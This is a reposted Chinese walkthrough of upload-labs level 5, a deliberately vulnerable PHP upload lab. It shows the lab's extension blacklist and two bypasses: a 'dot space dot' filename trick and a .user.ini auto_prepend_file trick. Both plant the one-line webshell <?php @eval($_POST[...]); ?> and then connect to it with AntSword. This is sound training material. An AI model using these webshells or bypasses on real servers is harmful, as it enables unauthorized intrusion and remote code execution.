首页 > 其他分享 >upload-labs第五关教程

upload-labs第五关教程

时间:2024-06-09 15:00:13浏览次数:31  
标签:教程 eval upload labs ini file php 上传 user

upload-labs第五关教程

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以发现相对于上一关来说,连htaccess后缀名都进行了过滤,但是对于ini文件后缀并没有进行过滤,所以是不是可以考虑通过上传user.ini文件进行绕过?还有一点和上一关一样的是对空格和点只进行了一次过滤,所以还是可以考虑点空格点绕过。

.user.ini介绍

php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI
SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
官方解释:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中
这一串的网址可以在这位大佬这里学习 链接

二、绕过分析

1)点空格点绕过

上传一个eval.php文件

<?php @eval($_POST['hacker']); ?>

使用burp suite进行抓包修改

修改之前:
在这里插入图片描述
这里可以发现filename是eval.php,我们将其修改为eval.php. .。
修改之后:
在这里插入图片描述
这里我将filename修改为了eval.php. .

放包

在这里插入图片描述发现上传成功,且以eval.php.进行上传成功的。

进行中国蚁剑连接

URL为http://192.168.1.138/upload-labs-master/upload/eval.php.
在这里插入图片描述连接成功。


2).user.ini绕过

这里需要将php的版本切换至5.3以上的版本

编写一个.user.ini文件

auto_prepend_file=eval.png

借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

修改配置文件php.ini

在这里插入图片描述将user_ini_cache_ttl改为10,这里的300是代指的300s那就是五分钟,生效时间为5分钟。
修改之后记得重启一下phpstudy。

将.user.ini保存在www文件夹下。

在这里插入图片描述

再上传eval.png

这里emmm先上传.user.ini文件,再上传eval.png文件。

<?php @eval($_POST['cmd']); ?>

这里先看.user.ini是否上传成功,如下:
在这里插入图片描述上传成功。


然后上传eval.png。
在这里插入图片描述上传成功。


使用中国蚁剑进行连接

URL为:http://192.168.1.10/upload-labs-master/upload/readme.php
在这里插入图片描述


如果有问题的话可以私信问我

标签:教程,eval,upload,labs,ini,file,php,上传,user
From: https://blog.csdn.net/m0_73528952/article/details/139515047

相关文章

  • 2024 IDEA最新永久使用码教程(2099版)
    本篇文章我就来分享一下2024年当前最新版IntelliJIDEA最新注册码,教程如下,可免费永久,亲测有效,适合Windows和Mac。本教程适用于JB全系列产品,包括Pycharm、IDEA、WebStorm、Phpstorm、Datagrip、RubyMine、CLion、AppCode等。(希望大家且用且珍惜)9H1390TRAK-eyJsaWNlbnN......
  • cisco packet tracer 8.2.2 安装配置 基础教程 免登录免破解 简单方便
    1官网下载,需要账号2安装3启动之前,直接断网,禁用网卡(⊙﹏⊙)......
  • 记录自己在xss-labs的通关记录
    第十一关(referer)直接查看网页源代码,发现四个input被隐藏,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有)通过构造payload,配合burpsuite抓包可以得到?keyword=&t_link"type='text'>//&t_history"type='text'>......
  • 中国移动魔百盒-九联UNT413A刷机教程
     家里最近单独安装了一条宽带,移动赠送了路由器和电视盒子,路由器挺好上网不卡,但电视盒子看啥都要开会员,也不能装第三方app,故从网上找了教程,试试刷一个无限制的安卓系统,最后刷成功了,体验不赖 下面说一下刷机流程吧(刷机有风险,刷前要认真看流程)一、准备工作移动魔百盒后来改名......
  • ctfshow-超详细通关教程-web(1~8)
    快捷目录web1web2web3web4web5web6web7web81.web签到题打开网址后出现如下界面。查看一下网站源码将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag2.web2打开网址如图。首先用万能密码admin'or1=1#测试一下。直接就进入了,......
  • 博客园主题美化教程
    主题:geek主题(博主用的就是这一款)该博主还开发了一个皮肤构建工具awescnb,可以在博客园安装这个项目中已经集成的皮肤https://www.yuque.com/awescnb/user1、进入博客园的设置里面申请开通js权限。没有申请是这个样子的填写一下申请的理由(网上一般都是这么写的),等待通过就好了......
  • redis命令实践 详细教程
    Redis是一个高性能的键值对数据库,支持多种数据结构,如字符串、哈希、列表、集合、有序集合等。以下是一份详细的Redis命令实践教程,包括常用命令和示例。1.连接Redis服务器使用redis-cli工具连接到Redis服务器:redis-cli-h<hostname>-p<port>-a<password>-h:指定Redis......
  • redis命令实践 详细教程
    Redis是一个高性能的键值对数据库,支持多种数据结构,如字符串、哈希、列表、集合、有序集合等。以下是一份详细的Redis命令实践教程,包括常用命令和示例。1.连接Redis服务器使用redis-cli工具连接到Redis服务器:redis-cli-h<hostname>-p<port>-a<password>-h:指定Redis......
  • 实战 | YOLOv10 自定义数据集训练实现车牌检测 (数据集+训练+预测 保姆级教程)
    导读    本文主要介绍如何使用YOLOv10在自定义数据集训练实现车牌检测(数据集+训练+预测保姆级教程)。  YOLOv10简介  YOLOv10是清华大学研究人员在UltralyticsPython包的基础上,引入了一种新的实时目标检测方法,解决了YOLO以前版本在后处理和模型架构方面的不足......
  • 【建站教程】Ubuntu结合宝塔面板本地部署Inis博客并发布公网
    ......